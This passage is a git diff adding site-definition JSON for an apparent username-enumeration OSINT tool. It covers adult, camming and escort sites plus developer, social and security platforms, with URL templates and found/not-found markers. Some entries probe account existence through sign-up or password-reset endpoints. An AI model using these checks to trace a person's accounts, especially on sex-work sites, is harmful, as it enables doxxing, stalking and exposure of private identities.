">Height:
    " + ], + "not_found_text": [ + ">Members" + ], + "category": "adult video and photo" + }, + "Adultism": { + "url": "https://www.adultism.com/profile/{username}", + "check_text": [ + ">Location:", + ">Member since:" + ], + "not_found_text": [ + "No such member :(", + " Not Found - Adultism" + ], + "category": "adult video and photo" + }, + "Cams Reviews": { + "url": "https://www.cams.reviews/?search={username}", + "check_text": [ + "webcam models that match your search." + ], + "not_found_text": [ + ">No Webcam Models Found.", + "is not in our database." + ], + "category": "camming" + }, + "Kink Live": { + "url": "https://www.kinklive.com/models/bios/{username}/about.php", + "check_text": [ + "Reviews ", + "
    Last Online:
    " + ], + "not_found_text": [ + "The performer's bio you requested is not available.", + "Alert!" + ], + "category": "camming" + }, + "Chaturbate": { + "url": "https://chaturbate.com/{username}/", + "check_text": [ + "live on Chaturbate!", + ">Bio", + "Last Broadcast:", + "Room is currently offline", + "I am:" + ], + "not_found_text": [ + "

    HTTP 404 - Page Not Found", + "Pornstar Free Cams" + ], + "category": "camming" + }, + "Webcam-Archiver": { + "url": "https://webcam-archiver.com/search/?query={username}", + "check_text": [ + "Download", + ">Big Preview" + ], + "not_found_text": [ + "

    0 Result's" + ], + "category": "camming" + }, + "Masturbate and Chill": { + "url": "https://www.live.masturbateandchill.com/en/chat/{username}#!", + "check_text": [ + "Free Live Sex Chat With" + ], + "not_found_text": [ + "<title>www.live.masturbateandchill.com" + ], + "category": "camming" + }, + "Jerkmate (pornstars)": { + "url": "https://jerkmate.com/pornstar/{username}", + "check_text": [ + "jerkmate.com/pornstar" + ], + "not_found_text": [ + "page not found - 404" + ], + "category": "camming" + }, + "Jerkmate (cams)": { + "url": "https://jerkmate.com/cam/{username}", + "check_text": [ + "cam profile:" + ], + "not_found_text": [ + "page not found - 404", + "Sex Chat with Adult Cam Models | Jerkmate", + "We're sorry, the page you're looking for was not found.

    ", + ">Live Cam Girls" + ], + "category": "camming" + }, + "Camlust": { + "url": "https://camlust.com/en/models/{username}", + "check_text": [ + "in Free Chat Roulette", + "Live Skype sex show with" + ], + "not_found_text": [ + "page not found", + "

    Top models

    " + ], + "category": "camming" + }, + "Xpanded": { + "url": "https://xpanded.com/girls?search_profilename={username}", + "check_text": [ + ">Xpanded TV", + " page to see call options

    " + ], + "not_found_text": [ + "but we were unable to find" + ], + "category": "camming" + }, + "MyFreeCams": { + "url": "https://profiles.myfreecams.com/{username}", + "check_text": [ + "profile_avatar", + "status_label" + ], + "not_found_text": [ + "Search by Username" + ], + "category": "camming" + }, + "Babestation Cams (performer)": { + "url": "https://babestationcams.com/performer/{username}", + "check_text": [ + "Babestation Cams" + ], + "not_found_text": [ + "Not Found" + ], + "category": "camming" + }, + "ChatMate": { + "url": "https://chatmate.com/chat-video/{username}", + "check_text": [ + "Chat & Interact with" + ], + "not_found_text": [ + "<title>Page Not Found - 404" + ], + "category": "camming" + }, + "CamSoda": { + "url": "https://camsoda.com/{username}", + "check_text": [ + "bio" + ], + "not_found_text": [ + "Error, page not found" + ], + "category": "camming" + }, + "CamWithHer (users)": { + "url": "https://camwithher.com/{username}", + "check_text": [ + "Free Live Nude Sex Show", + "bio" + ], + "not_found_text": [ + "page not found" + ], + "category": "camming" + }, + "Xcams": { + "url": "https://www.xcams.com/profile/{username}/", + "check_text": [ + "years old" + ], + "not_found_text": [ + "not found" + ], + "category": "camming" + }, + "Xlovecam": { + "url": "https://www.xlovecam.com/en/model/{username}/", + "check_text": [ + "years old", + "about me" + ], + "not_found_text": [ + "error 404" + ], + "category": "camming" + }, + "Soul Cams": { + "url": "https://www.soulcams.com/profile/{username}", + "check_text": [ + "Live cam | Soulcams.com", + "About me
    ", + "Follow me" + ], + "not_found_text": [ + "SoulCams" + ], + "category": "camming" + }, + "XV Cams": { + "url": "https://www.xvcams.com/models/bios/{username}/about.php", + "check_text": [ + "Webcam Bio - Naked Pics, Adult Videos, Sex Chat" + ], + "not_found_text": [ + "The performer's bio you requested is not available." + ], + "category": "camming" + }, + "CamSextacy": { + "url": "https://www.camsextacy.com/{username}", + "check_text": [ + "Cam: Free Live Nude Sex Show & Chat - CamSextacy" + ], + "not_found_text": [ + ">Error, page not found" + ], + "category": "camming" + }, + "Mynt Models (NY, DAL, LA)": { + "url": "https://www.myntmodels.com/escort-model/{username}/", + "check_text": [ + "Measurements:", + "

    Age:" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "escort" + }, + "TS-Dating (International)": { + "url": "https://www.ts-dating.com/model/{username}", + "check_text": [ + ">Location:<span", + ">Name: <span", + ">Age: <span" + ], + "not_found_text": [ + "404 - PAGE NOT FOUND" + ], + "category": "escort" + }, + "Mccoys Guide (US)": { + "url": "https://www.mccoysguide.com/services/escorts/united-states-of-america?search={username}&order=updated", + "check_text": [ + "/assets/advertiser_accounts/", + "<h6>Escorts</h6>" + ], + "not_found_text": [ + "No search results found" + ], + "category": "escort" + }, + "Naughty Ads (International)": { + "url": "https://www.naughtyads.com.au/escort/{username}", + "check_text": [ + "call-button", + "sms-button", + "Quick Facts</label>" + ], + "not_found_text": [ + "Oops, something went wrong...</h3>" + ], + "category": "escort" + }, + "Cowboys4Angels": { + "url": "https://cowboys4angels.com/cowboys/{username}/", + "check_text": [ + "<h1>About", + "View His Rates</div>" + ], + "not_found_text": [ + "Page not found" + ], + "category": "escort" + }, + "Models-World": { + "url": "https://models-world.com/profile/{username}/", + "check_text": [ + "- Located in" + ], + "not_found_text": [ + "<title>MODELS WORLD" + ], + "category": "escort" + }, + "Eros Escorts": { + "url": "https://erosescorts.net/{username}/", + "check_text": [ + "Escort Profile -" + ], + "not_found_text": [ + "<title>Escorts directory" + ], + "category": "escort" + }, + "Grazia (International)": { + "url": "https://grazia-escort.com/en/models/{username}/", + "check_text": [ + "book now" + ], + "not_found_text": [ + "<title>Grazia" + ], + "category": "escort" + }, + "Perla Di Mare (International)": { + "url": "https://www.perla-di-mare.eu/escort/{username}/", + "check_text": [ + "located in" + ], + "not_found_text": [ + "nothing found" + ], + "category": "escort" + }, + "Ava Escorts (International)": { + "url": "https://avaescorts.com/search-results?escort_name={username}&agency_id=&escort_type=&root_category=&city_county=Enter+City&age=&hair_color=&languages=&price=&type=&x=0&y=0", + "check_text": [ + "/>Outcall Only<br", + "/>Incall/Outcall<br", + "/>Incall Only<br" + ], + "not_found_text": [ + "escorts found (0)" + ], + "category": "escort" + }, + "Private Delights": { + "url": "https://privatedelights.ch/profile/{username}", + "check_text": [ + "<title>Reviews for", + "Verified Provider", + "Unverified Provider", + "Joined:", + ">work</i>" + ], + "not_found_text": [ + "search-section", + "0 providers found.", + "No page" + ], + "category": "escort" + }, + "The Erotic Review": { + "url": "https://www.theeroticreview.com/reviews/newreviewsList.asp?Name={username}", + "check_text": [ + "matches.</span>", + ">Name</div>" + ], + "not_found_text": [ + "<p>No records were found.</p>" + ], + "category": "escort" + }, + "Rent.Men": { + "url": "https://rent.men/{username}", + "check_text": [ + "Current location" + ], + "not_found_text": [ + "404", + "Ooops...", + "The requested page can not be found." + ], + "category": "escort" + }, + "HOT": { + "url": "https://hot.com/us/escorts?q={username}", + "check_text": [ + ">model "" + ], + "not_found_text": [ + "Your request does not match any item.", + "Try changing your request", + "</span> does not match" + ], + "category": "escort" + }, + "Eros.com": { + "url": "https://eros.com/search/text?sch={username}&loc=", + "check_text": [ + "United States" + ], + "not_found_text": [ + "No results" + ], + "category": "escort" + }, + "tryst.link": { + "url": "https://tryst.link/escort/{username}", + "check_text": [ + "#photos" + ], + "not_found_text": [ + "<h1>Page not found</h1>", + "The page you were looking for couldn't be found." + ], + "category": "escort" + }, + "5escorts": { + "url": "https://www.5escorts.com/search/?keyword={username}&category=ads", + "check_text": [ + "/ads/details/" + ], + "not_found_text": [ + "Could not find what you were looking for?" + ], + "category": "escort" + }, + "Sweet Passion Escort": { + "url": "https://www.sweet-passion-escort.de/en/models/{username}", + "check_text": [ + "book", + "Sedcard" + ], + "not_found_text": [ + "Could not find what you were looking for?", + "<title>Escort Damen" + ], + "category": "escort" + }, + "Open Adult Directory BDSM Search": { + "url": "https://openadultdirectory.com/oad_search.php?kw={username}&dir=bdsm", + "check_text": [ + "results" + ], + "not_found_text": [ + "Your search returned no matches.", + "Page Not Found" + ], + "category": "escort" + }, + "Open Adult Directory Escorts Search": { + "url": "https://openadultdirectory.com/oad_search.php?kw={username}&dir=escorts", + "check_text": [ + "results" + ], + "not_found_text": [ + "Your search returned no matches.", + "Page Not Found" + ], + "category": "escort" + }, + "International Fetish Escort (Frankfurt, Germany)": { + "url": "https://www.international-fetish-escort.com/en/escort-models/{username}/", + "check_text": [ + "about me" + ], + "not_found_text": [ + "404", + "oops" + ], + "category": "escort" + }, + "Exotic RW (Rwanda, Africa)": { + "url": "https://www.exoticrw.com/escort/{username}/", + "check_text": [ + " | Best Rwanda Escorts" + ], + "not_found_text": [ + "<title>Best Rwanda Escorts" + ], + "category": "escort" + }, + "Exotic Mali (Mali, Africa)": { + "url": "https://www.exoticmali.com/escort/{username}/", + "check_text": [ + " - Escorte Mali" + ], + "not_found_text": [ + "<title>Escorte Mali" + ], + "category": "escort" + }, + "Exotic Malawi (Malawi, Africa)": { + "url": "https://www.exoticmalawi.com/escort/{username}/", + "check_text": [ + " - Escorts in Malawi" + ], + "not_found_text": [ + "<title>Escorts in Malawi" + ], + "category": "escort" + }, + "Exotic Ethiopia (Ethiopia, Africa)": { + "url": "https://www.exoticethiopia.com/escort/{username}/", + "check_text": [ + ", Ethiopian Escort for Massage" + ], + "not_found_text": [ + "<title>Ethiopian Escorts" + ], + "category": "escort" + }, + "Exotic Botswana (Botswana, Africa)": { + "url": "https://www.exoticbotswana.com/escort/{username}/", + "check_text": [ + ", Botswana Escort for Massage" + ], + "not_found_text": [ + "<title>Botswana Escorts" + ], + "category": "escort" + }, + "Blue Label Escort (Frankfurt, Germany)": { + "url": "https://bluelabel-escort.com/en/models/{username}/", + "check_text": [ + "Hair colour:</span>", + "Category:</span>", + "Height:</span>" + ], + "not_found_text": [ + "faq" + ], + "category": "escort" + }, + "Felines Escort": { + "url": "https://www.felinesescort.com/en/escort-girl/{username}", + "check_text": [ + "photos", + "about" + ], + "not_found_text": [ + "page not found" + ], + "category": "escort" + }, + "Aphrodite Agency (Europe)": { + "url": "https://www.aphrodite-agency.com/en/models/{username}", + "check_text": [ + "more about" + ], + "not_found_text": [ + "meet high class escorts" + ], + "category": "escort" + }, + "Society Service Escorts (Holland & Belgium)": { + "url": "https://www.societyservice.com/escort/{username}", + "check_text": [ + "profile" + ], + "not_found_text": [ + "find your perfect", + "we are sorry" + ], + "category": "escort" + }, + "Society Service Gigolos (Holland & Belgium)": { + "url": "https://www.societyservice.com/gigolo/{username}", + "check_text": [ + "profile" + ], + "not_found_text": [ + "find your perfect" + ], + "category": "escort" + }, + "SouthernGFE": { + "url": "https://www.southerngfe.com/escorts/search?searchword={username}", + "check_text": [ + "title='{username}", + "Results 1" + ], + "not_found_text": [ + "Your search does not return any result." + ], + "category": "escort" + }, + "1Baiser": { + "url": "https://en.1baiser.com/search?q={username}", + "check_text": [ + "Model </span></h2>" + ], + "not_found_text": [ + "No results were found" + ], + "category": "escort" + }, + "Figgmi (Switzerland)": { + "url": "https://figgmi.ch/de/escorts/{username}/", + "check_text": [ + "| escort in" + ], + "not_found_text": [ + "error 404" + ], + "category": "escort" + }, + "Telaviv-Escort (Telaviv)": { + "url": "https://telaviv-escort.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "Austin Escort Models (Austin, TX)": { + "url": "https://austinescortmodels.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "Dallas Escort State (Dallas, TX)": { + "url": "https://dallasescortstate.com/model/{username}", + "check_text": [ + "<td>Ethnicity:</td>", + "<td>Age:</td>", + "<td>Availability:</td>" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "What Happens In Vegas Stays (Las Vegas, NV)": { + "url": "https://www.whathappensinvegasstays.com/?s={username}", + "check_text": [ + "search-results" + ], + "not_found_text": [ + "Nothing Found</h1>" + ], + "category": "escort" + }, + "Party Girls LV (Las Vegas, NV)": { + "url": "https://partygirlslv.com/?s={username}&post_type=model", + "check_text": [ + ">Search Results for:" + ], + "not_found_text": [ + "Nothing Found</h1>" + ], + "category": "escort" + }, + "Vegas Girls Gone Wild (Las Vegas, NV)": { + "url": "https://vegasgirlsgonewild.com/escort/{username}/", + "check_text": [ + "Vegas Girls Gone Wild" + ], + "not_found_text": [ + "Page not found" + ], + "category": "escort" + }, + "Florida Escort Models (Florida, US)": { + "url": "https://floridaescortmodels.com/model/{username}", + "check_text": [ + "Ethnicity:", + "Age:", + "Availability:" + ], + "not_found_text": [ + "404 not found" + ], + "category": "escort" + }, + "EscortHub (International)": { + "url": "https://escorthub.org/escort/{username}/", + "check_text": [ + "escort from", + "- EscortHub" + ], + "not_found_text": [ + "

    404

    ", + "

    page not found

    " + ], + "category": "escort" + }, + "Dior Escorts (London, UK)": { + "url": "https://www.diorescorts.com/gallery/{username}", + "check_text": [ + ">Age:", + ">Gender:", + ">Availability :" + ], + "not_found_text": [ + ">Sorry Page not found :( (404)" + ], + "category": "escort" + }, + "Cheshire Companions (UK)": { + "url": "https://www.cheshirecompanions.com/escorts/{username}", + "check_text": [ + "
    Age
    ", + "
    Height
    " + ], + "not_found_text": [ + "404 | Chesire Companions " + ], + "category": "escort" + }, + "Candy Shop Escorts (Manchester, ENG)": { + "url": "https://candyshopescorts.co.uk/escorts/{username}", + "check_text": [ + "
    Age
    ", + "
    Height
    " + ], + "not_found_text": [ + "The page you are looking for doesn't exist or has been moved." + ], + "category": "escort" + }, + "Scarlet Blue (International)": { + "url": "https://scarletblue.com.au/search/?search=true&escortname={username}", + "check_text": [ + "profile-quickstats--details", + ">Age:" + ], + "not_found_text": [ + "No Escorts found - Please select different options" + ], + "category": "escort" + }, + "Naughty Ads (Australia)": { + "url": "https://www.naughtyads.com.au/escorts/australia?search={username}", + "check_text": [ + "escort-profile-image", + "escort-price" + ], + "not_found_text": [ + "No listings found for this search" + ], + "category": "escort" + }, + "New Zealand Girls (New Zealand)": { + "url": "https://www.newzealandgirls.co.nz/all/nzgirls.php?keyword={username}&go_keyword=Go%21", + "check_text": [ + "Stunning Escorts in New Zealand" + ], + "not_found_text": [ + "Your search returned no results, please try another search." + ], + "category": "escort" + }, + "Adult Look (International)": { + "url": "https://www.adultlook.com/search/?query={username}&rq={username}&advanced=1", + "check_text": [ + "results found" + ], + "not_found_text": [ + "No results found to show" + ], + "category": "escort" + }, + "KittyAds (International)": { + "url": "https://www.kittyads.com/{username}", + "check_text": [ + "Escort Profile:", + "Contact Info" + ], + "not_found_text": [ + "Page Not Found" + ], + "category": "escort" + }, + "Exotic-Africa (Africa)": { + "url": "https://www.exotic-africa.com/escort/{username}/", + "check_text": [ + "<h4>Contact info:</h4>", + "<h4>Services:</h4>" + ], + "not_found_text": [ + ">VIP Escorts</h3>", + "<h3>page not found</h3>" + ], + "category": "escort" + } + } +} diff --git a/data/sites/detectdee.json b/data/sites/detectdee.json new file mode 100644 index 0000000..173f773 --- /dev/null +++ b/data/sites/detectdee.json @@ -0,0 +1,9793 @@ +{ + "github": { + "url": "https://github.com", + "nameCheck": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "header": { + "a": "x" + }, + "url": "https://github.com/%s", + "existUsername": "piaolin", + "nonExistUsername": "4554456464646546654", + "userPage": "https://github.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitlab": { + "url": "https://gitlab.com/", + "nameCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://gitlab.com/%s", + "existUsername": "blue", + "nonExistUsername": "noonewouldeverusethis7", + "userPage": "https://gitlab.com/%s", + "type": "username" + }, + { + "nonExistRegex": "\\[\\]", + "existRegex": "web_url", + "url": "https://gitlab.com/api/v4/users?username=%s", + "existUsername": "blue", + "nonExistUsername": "noonewouldeverusethis7", + "userPage": "https://gitlab.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitee": { + "url": "https://gitee.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://gitee.com/%s", + "existUsername": "log4j", + "nonExistUsername": "4554456464646546654", + "userPage": "https://gitee.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "googleplay": { + "url": "https://play.google.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "We're sorry, the requested URL was not found on this server.", + "existRegex": "Copyright The Closure Library Authors", + "url": "https://play.google.com/store/apps/developer?id=%s", + "existUsername": "Apple", + "nonExistUsername": "GitHubeeeeee", + "userPage": "https://play.google.com/store/apps/developer?id=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "githubblog": { + "url": "https://github.io", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://%s.github.io", + "existUsername": "kongkongye", + "nonExistUsername": "kongkongyeeeee", + "userPage": "https://%s.github.io", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "v2ex": { + "url": "https://v2ex.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://v2ex.com/member/%s", + "existUsername": "kongkongye", + "nonExistUsername": "kongkongyeeeee", + "userPage": "https://v2ex.com/member/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "zhihu": { + "url": "https://www.zhihu.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "url": "https://www.zhihu.com/people/%s", + "existUsername": "bule", + "nonExistRegex": "404 - \\\\u77e5\\\\u4e4e", + "existRegex": "查看详细资料", + "nonExistUsername": "buleeeeeeeeeeeee", + "userPage": "https://www.zhihu.com/people/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "freebuf": { + "url": "https://www.freebuf.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.freebuf.com/author/%s", + "existUsername": "Alpha_h4ck", + "nonExistUsername": "Alpha_h4ckeeeeeee", + "userPage": "https://www.freebuf.com/author/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugbank": { + "url": "https://www.bugbank.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.bugbank.cn/api/user/%s", + "existUsername": "carry_pan", + "nonExistUsername": "carry_panxzxxxxx", + "userPage": "https://www.bugbank.cn/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "hackerone": { + "url": "https://hackerone.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://hackerone.com/%s?type=user", + "existUsername": "ooooooo_q", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://hackerone.com/%s?type=user", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "vulbox": { + "url": "https://www.vulbox.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "existRegex": "true", + "url": "https://vapi.vulbox.com/openapi/account/exist", + "body": { + "field": "username", + "value": "%s", + "mobile_code": null + }, + "header": { + "Content-Type": "application/json;charset=UTF-8", + "Origin": "https://www.vulbox.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "existUsername": "ooooooo_q", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://www.vulbox.com/whitehats/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugku": { + "url": "https://www.bugku.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "\\\\u62b1\\\\u6b49\\\\uff0c\\\\u60a8\\\\u6307\\\\u5b9a\\\\u7684\\\\u7528\\\\u6237\\\\u7a7a\\\\u95f4\\\\u4e0d\\\\u5b58\\\\u5728", + "existRegex": "的个人资料", + "url": "https://www.bugku.com/space-username-%s.html", + "existUsername": "Jimmy", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://www.bugku.com/space-username-%s.html", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "newbugku": { + "url": "https://new.bugku.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://new.bugku.com/users/profile/%s", + "existUsername": "gabriel", + "nonExistUsername": "ooooooo_qaaaaaaa", + "userPage": "https://new.bugku.com/users/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "52pojie": { + "url": "https://www.52pojie.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 1, + "detect": [ + { + "nonExistRegex": "succeed", + "existRegex": "showWindow", + "url": "https://www.52pojie.cn/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "youga777", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.52pojie.cn/home.php?mod=space&username=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "youtube": { + "url": "https://www.youtube.com/", + "type": "Video", + "isNSFW": false, + "sleep": 1, + "detect": [ + { + "nonExistRegex": "404 Not Found", + "url": "https://www.youtube.com/user/%s", + "headers": { + "Cookie": "CONSENT=YES+cb.20210418-17-p0.it+FX+917; " + }, + "existUsername": "pewdiepie", + "nonExistUsername": "youga777888", + "userPage": "https://www.youtube.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wikipedia": { + "url": "https://www.wikipedia.org/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://en.wikipedia.org/wiki/User:%s", + "existUsername": "Jack", + "nonExistUsername": "youga777888", + "userPage": "https://en.wikipedia.org/wiki/User:%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wordpress": { + "url": "https://wordpress.com/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "wordpress.com</em> doesn't exist", + "url": "https://%s.wordpress.com/", + "existUsername": "Hoadlck", + "nonExistUsername": "youga777888", + "userPage": "https://%s.wordpress.com/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "reddit": { + "url": "https://www.reddit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Sorry, nobody on Reddit goes by that name.", + "url": "https://www.reddit.com/user/%s", + "existUsername": "blue", + "headers": { + "accept-language": "en-US,en;q=0.9" + }, + "nonExistUsername": "youga777888", + "userPage": "https://www.reddit.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "aqniu": { + "url": "https://www.aqniu.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "没有使用此用户名或电子邮件地址的账户。", + "existRegex": "未能发送电子邮件。您的主机可能未获正确配置。", + "url": "https://www.aqniu.com/wp-login.php?action=lostpassword", + "existUsername": "liuchaoyang", + "nonExistUsername": "youga777888", + "header": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "body": "user_login=%s&redirect_to=&wp-submit=%%E8%%8E%%B7%%E5%%8F%%96%%E6%%96%%B0%%E5%%AF%%86%%E7%%A0%%81", + "userPage": "https://www.aqniu.com/author/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "quora": { + "url": "https://www.quora.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "existRegex": "Answers\": false, \"Questions\": false, \"Posts\":", + "url": "https://www.quora.com/profile/%s", + "existUsername": "Laura-Mitchell-5", + "nonExistUsername": "youga777888", + "userPage": "https://www.quora.com/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "virustotal": { + "url": "https://www.virustotal.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.virustotal.com/ui/users/%s/avatar", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://www.virustotal.com/gui/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "twitter": { + "url": "https://twitter.com/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9_]{1,15}$", + "sleep": 3, + "detect": [ + { + "nonExistRegex": "<div class=\"error-panel\"><span>User ", + "url": "https://nitter.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://twitter.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "twitch": { + "url": "https://www.twitch.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://m.twitch.tv/%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "userPage": "https://www.twitch.tv/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tryhackme": { + "url": "https://tryhackme.com/", + "type": "CyberSecurity", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9.]{1,16}$", + "detect": [ + { + "nonExistRegex": "{\"success\":false}", + "url": "https://tryhackme.com/api/user/exist/%s", + "existUsername": "ashu", + "nonExistUsername": "youga777888", + "userPage": "https://tryhackme.com/p/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "tiktok": { + "url": "https://tiktok.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://tiktok.com/@%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "userPage": "https://tiktok.com/@%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "KY" + } + }, + "telegram": { + "url": "https://t.me/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9_]{5,32}$", + "detect": [ + { + "nonExistRegex": "<meta property=\"og:description\" content=\"\">", + "url": "https://t.me/%s", + "existUsername": "piaolin", + "nonExistUsername": "youga777888", + "userPage": "https://t.me/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "steamgroup": { + "url": "https://steamcommunity.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No group could be retrieved for the given URL", + "url": "https://steamcommunity.com/groups/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://steamcommunity.com/groups/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sublimeforum": { + "url": "https://forum.sublimetext.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://forum.sublimetext.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://forum.sublimetext.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "spotify": { + "url": "https://open.spotify.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://open.spotify.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "headers": { + "user-agent": "PostmanRuntime/7.29.2" + }, + "userPage": "https://open.spotify.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "SE" + } + }, + "sourceforge": { + "url": "https://sourceforge.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://sourceforge.net/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://sourceforge.net/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + 